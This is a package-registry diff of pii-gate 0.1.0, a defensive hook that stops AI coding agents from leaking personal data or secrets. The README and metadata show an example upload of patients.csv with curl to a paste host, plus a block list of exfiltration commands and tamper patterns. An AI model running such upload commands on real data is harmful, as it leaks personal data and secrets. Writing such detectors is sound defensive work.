pii-gate 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- pii_gate-0.1.0/LICENSE +21 -0
- pii_gate-0.1.0/PKG-INFO +204 -0
- pii_gate-0.1.0/README.md +181 -0
- pii_gate-0.1.0/pyproject.toml +35 -0
- pii_gate-0.1.0/setup.cfg +4 -0
- pii_gate-0.1.0/src/pii_gate/__init__.py +3 -0
- pii_gate-0.1.0/src/pii_gate/__main__.py +3 -0
- pii_gate-0.1.0/src/pii_gate/cli.py +171 -0
- pii_gate-0.1.0/src/pii_gate/config.py +102 -0
- pii_gate-0.1.0/src/pii_gate/detectors.py +200 -0
- pii_gate-0.1.0/src/pii_gate/engine.py +96 -0
- pii_gate-0.1.0/src/pii_gate/exfil.py +74 -0
- pii_gate-0.1.0/src/pii_gate/hook.py +144 -0
- pii_gate-0.1.0/src/pii_gate/installer.py +95 -0
- pii_gate-0.1.0/src/pii_gate/log.py +27 -0
- pii_gate-0.1.0/src/pii_gate/sqlgate.py +102 -0
- pii_gate-0.1.0/src/pii_gate.egg-info/PKG-INFO +204 -0
- pii_gate-0.1.0/src/pii_gate.egg-info/SOURCES.txt +26 -0
- pii_gate-0.1.0/src/pii_gate.egg-info/dependency_links.txt +1 -0
- pii_gate-0.1.0/src/pii_gate.egg-info/entry_points.txt +2 -0
- pii_gate-0.1.0/src/pii_gate.egg-info/top_level.txt +1 -0
- pii_gate-0.1.0/tests/test_cli.py +84 -0
- pii_gate-0.1.0/tests/test_config.py +78 -0
- pii_gate-0.1.0/tests/test_detectors.py +117 -0
- pii_gate-0.1.0/tests/test_exfil.py +71 -0
- pii_gate-0.1.0/tests/test_hook.py +169 -0
- pii_gate-0.1.0/tests/test_installer.py +79 -0
- pii_gate-0.1.0/tests/test_sqlgate.py +85 -0
pii_gate-0.1.0/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 sdursun1979
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
pii_gate-0.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,204 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: pii-gate
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Fail-closed personal-data gate for AI coding agents (Codex CLI, Claude Code): blocks national IDs, IBANs, card numbers, secrets, exfiltration commands and PII-selecting SQL before they leave your machine.
|
|
5
|
+
Author: sdursun1979
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/sdursun1979/pii-gate
|
|
8
|
+
Project-URL: Issues, https://github.com/sdursun1979/pii-gate/issues
|
|
9
|
+
Project-URL: Changelog, https://github.com/sdursun1979/pii-gate/blob/main/CHANGELOG.md
|
|
10
|
+
Keywords: pii,gdpr,kvkk,privacy,codex,claude-code,hooks,ai-agents,dlp,security
|
|
11
|
+
Classifier: Development Status :: 3 - Alpha
|
|
12
|
+
Classifier: Environment :: Console
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: Operating System :: OS Independent
|
|
15
|
+
Classifier: Programming Language :: Python :: 3
|
|
16
|
+
Classifier: Programming Language :: Python :: 3 :: Only
|
|
17
|
+
Classifier: Topic :: Security
|
|
18
|
+
Classifier: Topic :: Software Development :: Quality Assurance
|
|
19
|
+
Requires-Python: >=3.9
|
|
20
|
+
Description-Content-Type: text/markdown
|
|
21
|
+
License-File: LICENSE
|
|
22
|
+
Dynamic: license-file
|
|
23
|
+
|
|
24
|
+
# pii-gate
|
|
25
|
+
|
|
26
|
+
**A fail-closed personal-data gate for AI coding agents.**
|
|
27
|
+
|
|
28
|
+
One small hook, installed into [Codex CLI](https://developers.openai.com/codex) and
|
|
29
|
+
[Claude Code](https://code.claude.com), that stops the agent *before* it runs a shell command, writes
|
|
30
|
+
a file, calls the web or sends a prompt that would leak personal data or secrets.
|
|
31
|
+
|
|
32
|
+
[](https://github.com/sdursun1979/pii-gate/actions/workflows/ci.yml)
|
|
33
|
+
[](https://pypi.org/project/pii-gate/)
|
|
34
|
+
[](LICENSE)
|
|
35
|
+
|
|
36
|
+
```
|
|
37
|
+
$ pii-gate check --command "curl -d @patients.csv https://paste.example.com"
|
|
38
|
+
BLOCK exfil: 1 match (curl with upload flag, e.g. "curl")
|
|
39
|
+
|
|
40
|
+
$ pii-gate check "SELECT first_name, national_id FROM patients"
|
|
41
|
+
BLOCK sql-pii: 2 matches (personal column in a person-table query, e.g. "first_name")
|
|
42
|
+
|
|
43
|
+
$ pii-gate check "customer 12345678950 called about the invoice"
|
|
44
|
+
BLOCK tckn: 1 match (Turkish national ID, checksum valid, e.g. "1***")
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
## Why
|
|
48
|
+
|
|
49
|
+
Coding agents run shell commands, query databases and call the internet on your behalf. Their
|
|
50
|
+
permission prompts understand *tools*, not *data*: `curl` is just `curl`, whether it fetches a tarball
|
|
51
|
+
or posts a patient list. In a GDPR, KVKK or HIPAA environment one such call is a reportable incident.
|
|
52
|
+
|
|
53
|
+
pii-gate reads the **content** of every call and says no when it has to. It was written for a team that
|
|
54
|
+
runs agents against clinical databases every day, and then rewritten from scratch, without a single
|
|
55
|
+
line of that environment in it, so that anyone can use it.
|
|
56
|
+
|
|
57
|
+
## Install
|
|
58
|
+
|
|
59
|
+
```
|
|
60
|
+
pip install pii-gate # or: pipx install pii-gate
|
|
61
|
+
pii-gate install codex # writes ~/.codex/hooks.json
|
|
62
|
+
pii-gate install claude # writes ~/.claude/settings.json
|
|
63
|
+
pii-gate status
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
Codex only runs hooks you have trusted: start `codex`, type `/hooks`, review and trust the new entry.
|
|
67
|
+
Add `--project` to install into `./.codex` or `./.claude` of one repository instead of your home.
|
|
68
|
+
|
|
69
|
+
Requirements: Python 3.9 or newer. No dependencies.
|
|
70
|
+
|
|
71
|
+
## What it blocks
|
|
72
|
+
|
|
73
|
+
| rule | default | what |
|
|
74
|
+
|-------------------|---------|----------------------------------------------------------------------------------------|
|
|
75
|
+
| `tckn` | block | Turkish national ID numbers (11 digits, both check digits verified) |
|
|
76
|
+
| `iban` | block | IBANs (mod-97 checksum, per-country length) |
|
|
77
|
+
| `card` | block | payment card numbers (Luhn, 13 to 19 digits, plausible prefix) |
|
|
78
|
+
| `secret` | block | private keys, AWS, OpenAI/Anthropic, GitHub, Slack, Google tokens, JWTs |
|
|
79
|
+
| `exfil` | block | uploads: `curl -d/-F/-T`, `wget --post-file`, `scp`, `rsync`, `aws s3 cp`, pipes into `nc`/`ssh`, `requests.post(...)`, and any outbound call whose command line already contains personal data |
|
|
80
|
+
| `git-push` | block | the agent never publishes; you push |
|
|
81
|
+
| `tamper` | block | writes to `.pii-gate.json`, the agents' hook settings, `--no-verify`, `PII_GATE_*=` overrides |
|
|
82
|
+
| `sql-pii` | block | SELECT lists with sensitive columns (national IDs, birth dates, card numbers, health, salary), or names and contact details when the query touches a person table |
|
|
83
|
+
| `sql-star` | block | `SELECT *` on a person table |
|
|
84
|
+
| `email` | warn | e-mail addresses (reserved domains such as `example.com` are ignored) |
|
|
85
|
+
| `phone` | warn | Turkish mobile and international phone numbers |
|
|
86
|
+
| `secret-assign` | warn | `password = "..."` style assignments with a literal value |
|
|
87
|
+
| `sql-pii-context` | warn | names and contact columns outside a person table (a supplier's phone is not personal data) |
|
|
88
|
+
|
|
89
|
+
`warn` findings are allowed and written to the decision log; `block` findings stop the call. Change any
|
|
90
|
+
rule's level in the config, including turning the SQL gate off if your project is not a data project.
|
|
91
|
+
|
|
92
|
+
What the agent sees when it is stopped:
|
|
93
|
+
|
|
94
|
+
```
|
|
95
|
+
pii-gate blocked this Bash call.
|
|
96
|
+
- tckn: 1 match (Turkish national ID, checksum valid, e.g. "1***")
|
|
97
|
+
- exfil: 1 match (curl with outbound call carrying sensitive data, e.g. "curl")
|
|
98
|
+
Personal data, secrets and outbound transfers must not leave this machine. Remove them.
|
|
99
|
+
If this is synthetic test data, the user can allow it in .pii-gate.json (allow_values, allow_paths);
|
|
100
|
+
the agent may not edit that file.
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
The value itself is never in the message, never in the log.
|
|
104
|
+
|
|
105
|
+
## Where it looks
|
|
106
|
+
|
|
107
|
+
| event | Codex CLI | Claude Code |
|
|
108
|
+
|------------------------------|---------------------------------------------|----------------------------------------------------------|
|
|
109
|
+
| shell command | `Bash` (all rules) | `Bash`, `PowerShell` (all rules) |
|
|
110
|
+
| file write | `apply_patch`: added lines only | `Edit`, `MultiEdit`, `Write`, `NotebookEdit`: new text only |
|
|
111
|
+
| web | hosted tools cannot be hooked by Codex | `WebFetch`, `WebSearch` |
|
|
112
|
+
| MCP tools | every string argument | every string argument |
|
|
113
|
+
| your prompt | `UserPromptSubmit` | `UserPromptSubmit` |
|
|
114
|
+
|
|
115
|
+
File writes honour `allow_paths`, so your synthetic test fixtures keep working.
|
|
116
|
+
|
|
117
|
+
## Configuration
|
|
118
|
+
|
|
119
|
+
Optional. Looked up in this order: `$PII_GATE_CONFIG`, `./.pii-gate.json` (the agent's working
|
|
120
|
+
directory), `~/.pii-gate.json`. The first file found wins.
|
|
121
|
+
|
|
122
|
+
```json
|
|
123
|
+
{
|
|
124
|
+
"rules": { "email": "block", "git-push": "off", "sql-pii": "warn" },
|
|
125
|
+
"allow_values": ["12345678950"],
|
|
126
|
+
"allow_paths": ["tests/*", "fixtures/*"],
|
|
127
|
+
"email_allow_domains": ["mycompany.example"],
|
|
128
|
+
"sql": {
|
|
129
|
+
"extra_pii_columns": ["protocol_no", "insurance_no"],
|
|
130
|
+
"extra_person_tables": ["donor", "guardian"],
|
|
131
|
+
"ignore_columns": ["name"]
|
|
132
|
+
},
|
|
133
|
+
"scan_prompts": true,
|
|
134
|
+
"fail_open": false,
|
|
135
|
+
"log": true
|
|
136
|
+
}
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
The agent cannot edit this file: every attempt is itself a `tamper` block.
|
|
140
|
+
|
|
141
|
+
## Command line
|
|
142
|
+
|
|
143
|
+
```
|
|
144
|
+
pii-gate check "text" # what would happen to this text (exit 1 if blocked)
|
|
145
|
+
pii-gate check --command "cmd" # same, with the shell rules (exfil, git-push, tamper)
|
|
146
|
+
pii-gate scan [paths] # scan files; exit 1 on blocking findings
|
|
147
|
+
pii-gate scan --staged # lines added in the git index, for a pre-commit hook
|
|
148
|
+
pii-gate install|uninstall codex|claude|all [--project]
|
|
149
|
+
pii-gate status
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
Pre-commit, in `.git/hooks/pre-commit`:
|
|
153
|
+
|
|
154
|
+
```sh
|
|
155
|
+
#!/bin/sh
|
|
156
|
+
exec pii-gate scan --staged
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
## Design principles
|
|
160
|
+
|
|
161
|
+
- **Fail closed.** Bad input, a crash in a detector, an unreadable config: the call is blocked, with a
|
|
162
|
+
message that says why. A gate that fails open is not a gate. Set `fail_open` if you disagree.
|
|
163
|
+
- **Values never leave the process.** Findings carry the rule name and the first character. The deny
|
|
164
|
+
message and the decision log (`~/.pii-gate/decisions.log`) contain counts, never data.
|
|
165
|
+
- **One engine, two agents.** Codex and Claude speak the same hook protocol (JSON in, exit code 2 to
|
|
166
|
+
block, stderr as the reason). Everything is tested against both payload shapes.
|
|
167
|
+
- **The agent cannot disable its own gate.** Config files, hook settings and bypass flags are protected
|
|
168
|
+
by the `tamper` rule.
|
|
169
|
+
- **Two-tier SQL.** National IDs are sensitive everywhere. A phone column is sensitive in `patients`,
|
|
170
|
+
not in `suppliers`. Aggregations that reveal nothing (`COUNT`, `LEN`, `IS NULL`, first letter, year)
|
|
171
|
+
pass.
|
|
172
|
+
- **Zero dependencies, pure Python.** Nothing to audit but this repository. The hook starts in tens of
|
|
173
|
+
milliseconds.
|
|
174
|
+
|
|
175
|
+
## Limitations
|
|
176
|
+
|
|
177
|
+
- Detectors are pattern based. Checksums keep false positives low for IDs, IBANs and cards; phone and
|
|
178
|
+
e-mail detection is heuristic and therefore `warn` by default.
|
|
179
|
+
- Only what the agent *sends* is inspected. What the agent *reads* (a file full of records) is not
|
|
180
|
+
redacted; that is on the roadmap via `PostToolUse`.
|
|
181
|
+
- Codex does not expose its hosted web tools to hooks, so web calls are gated in Claude Code only.
|
|
182
|
+
- Only Turkish national IDs are validated with checksums so far. Other countries' identifiers are
|
|
183
|
+
welcome as contributions, with synthetic test values.
|
|
184
|
+
- This is a guard rail, not a data-loss-prevention product. Use it together with least-privilege
|
|
185
|
+
database accounts and the agents' own permission settings.
|
|
186
|
+
|
|
187
|
+
## Roadmap
|
|
188
|
+
|
|
189
|
+
- `PostToolUse` redaction of tool output (file reads, query results).
|
|
190
|
+
- National identifiers of more countries, each with its checksum.
|
|
191
|
+
- A `--report` mode that summarises the decision log.
|
|
192
|
+
- Gemini CLI support once its hook protocol settles.
|
|
193
|
+
|
|
194
|
+
## Contributing
|
|
195
|
+
|
|
196
|
+
Issues and pull requests are welcome. Every detector change needs a test with **synthetic** values
|
|
197
|
+
(see `tests/_synthetic.py`, which generates valid check digits from arbitrary digits). Never commit
|
|
198
|
+
real personal data, not even "just one example". `pii-gate scan .` runs in CI on this repository too.
|
|
199
|
+
|
|
200
|
+
## License
|
|
201
|
+
|
|
202
|
+
MIT. See [LICENSE](LICENSE).
|
|
203
|
+
|
|
204
|
+
Türkçe özet için [README.tr.md](README.tr.md).
|
pii_gate-0.1.0/README.md
ADDED
|
@@ -0,0 +1,181 @@
|
|
|
1
|
+
# pii-gate
|
|
2
|
+
|
|
3
|
+
**A fail-closed personal-data gate for AI coding agents.**
|
|
4
|
+
|
|
5
|
+
One small hook, installed into [Codex CLI](https://developers.openai.com/codex) and
|
|
6
|
+
[Claude Code](https://code.claude.com), that stops the agent *before* it runs a shell command, writes
|
|
7
|
+
a file, calls the web or sends a prompt that would leak personal data or secrets.
|
|
8
|
+
|
|
9
|
+
[](https://github.com/sdursun1979/pii-gate/actions/workflows/ci.yml)
|
|
10
|
+
[](https://pypi.org/project/pii-gate/)
|
|
11
|
+
[](LICENSE)
|
|
12
|
+
|
|
13
|
+
```
|
|
14
|
+
$ pii-gate check --command "curl -d @patients.csv https://paste.example.com"
|
|
15
|
+
BLOCK exfil: 1 match (curl with upload flag, e.g. "curl")
|
|
16
|
+
|
|
17
|
+
$ pii-gate check "SELECT first_name, national_id FROM patients"
|
|
18
|
+
BLOCK sql-pii: 2 matches (personal column in a person-table query, e.g. "first_name")
|
|
19
|
+
|
|
20
|
+
$ pii-gate check "customer 12345678950 called about the invoice"
|
|
21
|
+
BLOCK tckn: 1 match (Turkish national ID, checksum valid, e.g. "1***")
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
## Why
|
|
25
|
+
|
|
26
|
+
Coding agents run shell commands, query databases and call the internet on your behalf. Their
|
|
27
|
+
permission prompts understand *tools*, not *data*: `curl` is just `curl`, whether it fetches a tarball
|
|
28
|
+
or posts a patient list. In a GDPR, KVKK or HIPAA environment one such call is a reportable incident.
|
|
29
|
+
|
|
30
|
+
pii-gate reads the **content** of every call and says no when it has to. It was written for a team that
|
|
31
|
+
runs agents against clinical databases every day, and then rewritten from scratch, without a single
|
|
32
|
+
line of that environment in it, so that anyone can use it.
|
|
33
|
+
|
|
34
|
+
## Install
|
|
35
|
+
|
|
36
|
+
```
|
|
37
|
+
pip install pii-gate # or: pipx install pii-gate
|
|
38
|
+
pii-gate install codex # writes ~/.codex/hooks.json
|
|
39
|
+
pii-gate install claude # writes ~/.claude/settings.json
|
|
40
|
+
pii-gate status
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
Codex only runs hooks you have trusted: start `codex`, type `/hooks`, review and trust the new entry.
|
|
44
|
+
Add `--project` to install into `./.codex` or `./.claude` of one repository instead of your home.
|
|
45
|
+
|
|
46
|
+
Requirements: Python 3.9 or newer. No dependencies.
|
|
47
|
+
|
|
48
|
+
## What it blocks
|
|
49
|
+
|
|
50
|
+
| rule | default | what |
|
|
51
|
+
|-------------------|---------|----------------------------------------------------------------------------------------|
|
|
52
|
+
| `tckn` | block | Turkish national ID numbers (11 digits, both check digits verified) |
|
|
53
|
+
| `iban` | block | IBANs (mod-97 checksum, per-country length) |
|
|
54
|
+
| `card` | block | payment card numbers (Luhn, 13 to 19 digits, plausible prefix) |
|
|
55
|
+
| `secret` | block | private keys, AWS, OpenAI/Anthropic, GitHub, Slack, Google tokens, JWTs |
|
|
56
|
+
| `exfil` | block | uploads: `curl -d/-F/-T`, `wget --post-file`, `scp`, `rsync`, `aws s3 cp`, pipes into `nc`/`ssh`, `requests.post(...)`, and any outbound call whose command line already contains personal data |
|
|
57
|
+
| `git-push` | block | the agent never publishes; you push |
|
|
58
|
+
| `tamper` | block | writes to `.pii-gate.json`, the agents' hook settings, `--no-verify`, `PII_GATE_*=` overrides |
|
|
59
|
+
| `sql-pii` | block | SELECT lists with sensitive columns (national IDs, birth dates, card numbers, health, salary), or names and contact details when the query touches a person table |
|
|
60
|
+
| `sql-star` | block | `SELECT *` on a person table |
|
|
61
|
+
| `email` | warn | e-mail addresses (reserved domains such as `example.com` are ignored) |
|
|
62
|
+
| `phone` | warn | Turkish mobile and international phone numbers |
|
|
63
|
+
| `secret-assign` | warn | `password = "..."` style assignments with a literal value |
|
|
64
|
+
| `sql-pii-context` | warn | names and contact columns outside a person table (a supplier's phone is not personal data) |
|
|
65
|
+
|
|
66
|
+
`warn` findings are allowed and written to the decision log; `block` findings stop the call. Change any
|
|
67
|
+
rule's level in the config, including turning the SQL gate off if your project is not a data project.
|
|
68
|
+
|
|
69
|
+
What the agent sees when it is stopped:
|
|
70
|
+
|
|
71
|
+
```
|
|
72
|
+
pii-gate blocked this Bash call.
|
|
73
|
+
- tckn: 1 match (Turkish national ID, checksum valid, e.g. "1***")
|
|
74
|
+
- exfil: 1 match (curl with outbound call carrying sensitive data, e.g. "curl")
|
|
75
|
+
Personal data, secrets and outbound transfers must not leave this machine. Remove them.
|
|
76
|
+
If this is synthetic test data, the user can allow it in .pii-gate.json (allow_values, allow_paths);
|
|
77
|
+
the agent may not edit that file.
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
The value itself is never in the message, never in the log.
|
|
81
|
+
|
|
82
|
+
## Where it looks
|
|
83
|
+
|
|
84
|
+
| event | Codex CLI | Claude Code |
|
|
85
|
+
|------------------------------|---------------------------------------------|----------------------------------------------------------|
|
|
86
|
+
| shell command | `Bash` (all rules) | `Bash`, `PowerShell` (all rules) |
|
|
87
|
+
| file write | `apply_patch`: added lines only | `Edit`, `MultiEdit`, `Write`, `NotebookEdit`: new text only |
|
|
88
|
+
| web | hosted tools cannot be hooked by Codex | `WebFetch`, `WebSearch` |
|
|
89
|
+
| MCP tools | every string argument | every string argument |
|
|
90
|
+
| your prompt | `UserPromptSubmit` | `UserPromptSubmit` |
|
|
91
|
+
|
|
92
|
+
File writes honour `allow_paths`, so your synthetic test fixtures keep working.
|
|
93
|
+
|
|
94
|
+
## Configuration
|
|
95
|
+
|
|
96
|
+
Optional. Looked up in this order: `$PII_GATE_CONFIG`, `./.pii-gate.json` (the agent's working
|
|
97
|
+
directory), `~/.pii-gate.json`. The first file found wins.
|
|
98
|
+
|
|
99
|
+
```json
|
|
100
|
+
{
|
|
101
|
+
"rules": { "email": "block", "git-push": "off", "sql-pii": "warn" },
|
|
102
|
+
"allow_values": ["12345678950"],
|
|
103
|
+
"allow_paths": ["tests/*", "fixtures/*"],
|
|
104
|
+
"email_allow_domains": ["mycompany.example"],
|
|
105
|
+
"sql": {
|
|
106
|
+
"extra_pii_columns": ["protocol_no", "insurance_no"],
|
|
107
|
+
"extra_person_tables": ["donor", "guardian"],
|
|
108
|
+
"ignore_columns": ["name"]
|
|
109
|
+
},
|
|
110
|
+
"scan_prompts": true,
|
|
111
|
+
"fail_open": false,
|
|
112
|
+
"log": true
|
|
113
|
+
}
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
The agent cannot edit this file: every attempt is itself a `tamper` block.
|
|
117
|
+
|
|
118
|
+
## Command line
|
|
119
|
+
|
|
120
|
+
```
|
|
121
|
+
pii-gate check "text" # what would happen to this text (exit 1 if blocked)
|
|
122
|
+
pii-gate check --command "cmd" # same, with the shell rules (exfil, git-push, tamper)
|
|
123
|
+
pii-gate scan [paths] # scan files; exit 1 on blocking findings
|
|
124
|
+
pii-gate scan --staged # lines added in the git index, for a pre-commit hook
|
|
125
|
+
pii-gate install|uninstall codex|claude|all [--project]
|
|
126
|
+
pii-gate status
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
Pre-commit, in `.git/hooks/pre-commit`:
|
|
130
|
+
|
|
131
|
+
```sh
|
|
132
|
+
#!/bin/sh
|
|
133
|
+
exec pii-gate scan --staged
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
## Design principles
|
|
137
|
+
|
|
138
|
+
- **Fail closed.** Bad input, a crash in a detector, an unreadable config: the call is blocked, with a
|
|
139
|
+
message that says why. A gate that fails open is not a gate. Set `fail_open` if you disagree.
|
|
140
|
+
- **Values never leave the process.** Findings carry the rule name and the first character. The deny
|
|
141
|
+
message and the decision log (`~/.pii-gate/decisions.log`) contain counts, never data.
|
|
142
|
+
- **One engine, two agents.** Codex and Claude speak the same hook protocol (JSON in, exit code 2 to
|
|
143
|
+
block, stderr as the reason). Everything is tested against both payload shapes.
|
|
144
|
+
- **The agent cannot disable its own gate.** Config files, hook settings and bypass flags are protected
|
|
145
|
+
by the `tamper` rule.
|
|
146
|
+
- **Two-tier SQL.** National IDs are sensitive everywhere. A phone column is sensitive in `patients`,
|
|
147
|
+
not in `suppliers`. Aggregations that reveal nothing (`COUNT`, `LEN`, `IS NULL`, first letter, year)
|
|
148
|
+
pass.
|
|
149
|
+
- **Zero dependencies, pure Python.** Nothing to audit but this repository. The hook starts in tens of
|
|
150
|
+
milliseconds.
|
|
151
|
+
|
|
152
|
+
## Limitations
|
|
153
|
+
|
|
154
|
+
- Detectors are pattern based. Checksums keep false positives low for IDs, IBANs and cards; phone and
|
|
155
|
+
e-mail detection is heuristic and therefore `warn` by default.
|
|
156
|
+
- Only what the agent *sends* is inspected. What the agent *reads* (a file full of records) is not
|
|
157
|
+
redacted; that is on the roadmap via `PostToolUse`.
|
|
158
|
+
- Codex does not expose its hosted web tools to hooks, so web calls are gated in Claude Code only.
|
|
159
|
+
- Only Turkish national IDs are validated with checksums so far. Other countries' identifiers are
|
|
160
|
+
welcome as contributions, with synthetic test values.
|
|
161
|
+
- This is a guard rail, not a data-loss-prevention product. Use it together with least-privilege
|
|
162
|
+
database accounts and the agents' own permission settings.
|
|
163
|
+
|
|
164
|
+
## Roadmap
|
|
165
|
+
|
|
166
|
+
- `PostToolUse` redaction of tool output (file reads, query results).
|
|
167
|
+
- National identifiers of more countries, each with its checksum.
|
|
168
|
+
- A `--report` mode that summarises the decision log.
|
|
169
|
+
- Gemini CLI support once its hook protocol settles.
|
|
170
|
+
|
|
171
|
+
## Contributing
|
|
172
|
+
|
|
173
|
+
Issues and pull requests are welcome. Every detector change needs a test with **synthetic** values
|
|
174
|
+
(see `tests/_synthetic.py`, which generates valid check digits from arbitrary digits). Never commit
|
|
175
|
+
real personal data, not even "just one example". `pii-gate scan .` runs in CI on this repository too.
|
|
176
|
+
|
|
177
|
+
## License
|
|
178
|
+
|
|
179
|
+
MIT. See [LICENSE](LICENSE).
|
|
180
|
+
|
|
181
|
+
Türkçe özet için [README.tr.md](README.tr.md).
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=77"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "pii-gate"
|
|
7
|
+
version = "0.1.0"
|
|
8
|
+
description = "Fail-closed personal-data gate for AI coding agents (Codex CLI, Claude Code): blocks national IDs, IBANs, card numbers, secrets, exfiltration commands and PII-selecting SQL before they leave your machine."
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
requires-python = ">=3.9"
|
|
11
|
+
license = "MIT"
|
|
12
|
+
license-files = ["LICENSE"]
|
|
13
|
+
authors = [{ name = "sdursun1979" }]
|
|
14
|
+
keywords = ["pii", "gdpr", "kvkk", "privacy", "codex", "claude-code", "hooks", "ai-agents", "dlp", "security"]
|
|
15
|
+
classifiers = [
|
|
16
|
+
"Development Status :: 3 - Alpha",
|
|
17
|
+
"Environment :: Console",
|
|
18
|
+
"Intended Audience :: Developers",
|
|
19
|
+
"Operating System :: OS Independent",
|
|
20
|
+
"Programming Language :: Python :: 3",
|
|
21
|
+
"Programming Language :: Python :: 3 :: Only",
|
|
22
|
+
"Topic :: Security",
|
|
23
|
+
"Topic :: Software Development :: Quality Assurance",
|
|
24
|
+
]
|
|
25
|
+
|
|
26
|
+
[project.urls]
|
|
27
|
+
Homepage = "https://github.com/sdursun1979/pii-gate"
|
|
28
|
+
Issues = "https://github.com/sdursun1979/pii-gate/issues"
|
|
29
|
+
Changelog = "https://github.com/sdursun1979/pii-gate/blob/main/CHANGELOG.md"
|
|
30
|
+
|
|
31
|
+
[project.scripts]
|
|
32
|
+
pii-gate = "pii_gate.cli:main"
|
|
33
|
+
|
|
34
|
+
[tool.setuptools.packages.find]
|
|
35
|
+
where = ["src"]
|
pii_gate-0.1.0/setup.cfg
ADDED
|
@@ -0,0 +1,171 @@
|
|
|
1
|
+
"""Command line: hook, check, scan, install, uninstall, status."""
|
|
2
|
+
from __future__ import annotations
|
|
3
|
+
|
|
4
|
+
import argparse
|
|
5
|
+
import os
|
|
6
|
+
import subprocess
|
|
7
|
+
import sys
|
|
8
|
+
from pathlib import Path
|
|
9
|
+
from typing import Iterable, List, Optional
|
|
10
|
+
|
|
11
|
+
from . import __version__, hook, installer
|
|
12
|
+
from .config import ConfigError, load
|
|
13
|
+
from .engine import Engine, describe
|
|
14
|
+
|
|
15
|
+
SKIP_DIRS = {".git", ".hg", ".svn", "node_modules", "__pycache__", ".venv", "venv", ".tox", ".mypy_cache"}
|
|
16
|
+
MAX_BYTES = 5 * 1024 * 1024
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
def _print(text: str = "") -> None:
|
|
20
|
+
sys.stdout.write(text + "\n")
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
def _is_text(data: bytes) -> bool:
|
|
24
|
+
return b"\x00" not in data[:8192]
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
def _iter_files(roots: Iterable[str]) -> Iterable[Path]:
|
|
28
|
+
for root in roots:
|
|
29
|
+
p = Path(root)
|
|
30
|
+
if p.is_file():
|
|
31
|
+
yield p
|
|
32
|
+
continue
|
|
33
|
+
for dirpath, dirnames, filenames in os.walk(p):
|
|
34
|
+
dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS and not d.endswith(".egg-info")]
|
|
35
|
+
for name in filenames:
|
|
36
|
+
yield Path(dirpath) / name
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
def cmd_check(args) -> int:
|
|
40
|
+
cfg = load(cwd=os.getcwd())
|
|
41
|
+
engine = Engine(cfg)
|
|
42
|
+
text = sys.stdin.read() if args.stdin else " ".join(args.text)
|
|
43
|
+
rep = engine.scan_command(text) if args.command else engine.scan_text(text)
|
|
44
|
+
for line in describe(rep.blocking):
|
|
45
|
+
_print("BLOCK " + line)
|
|
46
|
+
for line in describe(rep.warnings):
|
|
47
|
+
_print("warn " + line)
|
|
48
|
+
if not rep.blocking and not rep.warnings:
|
|
49
|
+
_print("clean")
|
|
50
|
+
return 1 if rep.blocked else 0
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
def _scan_text_lines(engine: Engine, label: str, text: str) -> int:
|
|
54
|
+
blocked = 0
|
|
55
|
+
for n, line in enumerate(text.splitlines(), 1):
|
|
56
|
+
rep = engine.scan_text(line)
|
|
57
|
+
for f in rep.blocking:
|
|
58
|
+
_print(f'{label}:{n}: BLOCK {f.rule} ({f.note}, "{f.sample}")')
|
|
59
|
+
blocked += 1
|
|
60
|
+
for f in rep.warnings:
|
|
61
|
+
_print(f'{label}:{n}: warn {f.rule} ({f.note}, "{f.sample}")')
|
|
62
|
+
return blocked
|
